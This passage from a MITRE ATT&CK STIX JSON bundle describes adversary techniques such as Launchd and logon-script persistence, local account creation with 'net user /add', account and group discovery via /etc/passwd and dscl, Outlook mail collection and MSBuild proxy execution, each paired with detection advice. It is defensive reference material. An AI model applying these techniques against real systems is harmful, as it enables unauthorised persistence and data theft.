            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Launchd",
            "description": "Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
            "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-23T22:41:14.739Z",
            "created": "2019-12-03T14:15:27.452Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_remote_support": false,
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1608.005",
                    "url": "https://attack.mitre.org/techniques/T1608/005"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Link Target",
            "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.",
            "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-27T17:53:29.106Z",
            "created": "2021-03-17T20:35:08.429Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "created": "2020-02-04T19:24:27.774Z",
            "modified": "2020-03-29T23:12:40.041Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
            "name": "Linux and Mac File and Directory Permissions Modification",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1222.002",
                    "url": "https://attack.mitre.org/techniques/T1222/002"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls1 June 2018"
                },
                {
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "source_name": "Hybrid Analysis Icacls2 May 2018"
                }
            ],
            "x_mitre_platforms": [
                "macOS",
                "Linux"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata"
            ],
            "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.",
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-01-28T13:50:22.506Z",
            "modified": "2020-03-23T18:04:20.780Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
            "name": "Local Account",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1136.001",
                    "url": "https://attack.mitre.org/techniques/T1136/001"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as <code>net user /add</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1087.001",
                    "url": "https://attack.mitre.org/techniques/T1087/001"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Local Account",
            "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file.",
            "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-13T21:39:08.728Z",
            "created": "2020-02-21T21:07:55.393Z",
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
            "name": "Local Accounts",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1078.003",
                    "url": "https://attack.mitre.org/techniques/T1078/003"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-05T12:51:00.663Z",
            "created": "2020-03-13T20:26:46.695Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "created": "2020-03-13T21:13:10.467Z",
            "modified": "2020-05-26T19:23:54.854Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.",
            "name": "Local Data Staging",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1074.001",
                    "url": "https://attack.mitre.org/techniques/T1074/001"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "File: File Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-02-19T18:46:06.098Z",
            "modified": "2020-03-24T17:59:20.983Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)",
            "name": "Local Email Collection",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1114.001",
                    "url": "https://attack.mitre.org/techniques/T1114/001"
                },
                {
                    "source_name": "Outlook File Sizes",
                    "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/",
                    "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."
                },
                {
                    "source_name": "Microsoft Outlook Files",
                    "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790",
                    "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1069.001",
                    "url": "https://attack.mitre.org/techniques/T1069/001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Local Groups",
            "description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.",
            "id": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-03-26T17:48:27.871Z",
            "created": "2020-03-12T19:29:21.013Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8",
            "name": "Local Job Scheduling",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1168",
                    "url": "https://attack.mitre.org/techniques/T1168"
                },
                {
                    "url": "https://linux.die.net/man/5/crontab",
                    "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
                    "source_name": "Die.net Linux crontab Man Page"
                },
                {
                    "url": "https://linux.die.net/man/1/at",
                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
                    "source_name": "Die.net Linux at Man Page"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html",
                    "description": "Apple. (n.d.). Retrieved July 17, 2017.",
                    "source_name": "AppleDocs Scheduling Timed Jobs"
                },
                {
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "source_name": "Janicab"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                },
                {
                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/",
                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
                    "source_name": "Avast Linux Trojan Cron Persistence"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-30T00:51:58.374Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1162",
                    "url": "https://attack.mitre.org/techniques/T1162"
                },
                {
                    "external_id": "CAPEC-564",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/564.html"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "source_name": "Adding Login Items"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                }
            ],
            "name": "Login Item",
            "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-30T00:51:58.163Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1037.002",
                    "url": "https://attack.mitre.org/techniques/T1037/002"
                },
                {
                    "url": "https://support.apple.com/de-at/HT2420",
                    "description": "Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.",
                    "source_name": "creating login hook"
                },
                {
                    "source_name": "S1 macOs Persistence",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
                    "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Logon Script (Mac)",
            "description": "Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)\n\nAdversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ",
            "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-27T16:49:15.786Z",
            "created": "2020-01-10T16:01:15.995Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
            "name": "Logon Script (Windows)",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1037.001",
                    "url": "https://attack.mitre.org/techniques/T1037/001"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
                    "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
                    "source_name": "TechNet Logon Scripts"
                },
                {
                    "source_name": "Hexacorn Logon Scripts",
                    "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/",
                    "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-24T23:45:03.153Z",
            "created": "2020-01-10T03:43:37.211Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\\Environment\\UserInitMprLogonScript</code>.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",
            "name": "MSBuild",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1127.001",
                    "url": "https://attack.mitre.org/techniques/T1127/001"
                },
                {
                    "url": "https://msdn.microsoft.com/library/dd393574.aspx",
                    "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                    "source_name": "MSDN MSBuild"
                },
                {
                    "source_name": "Microsoft MSBuild Inline Tasks 2017",
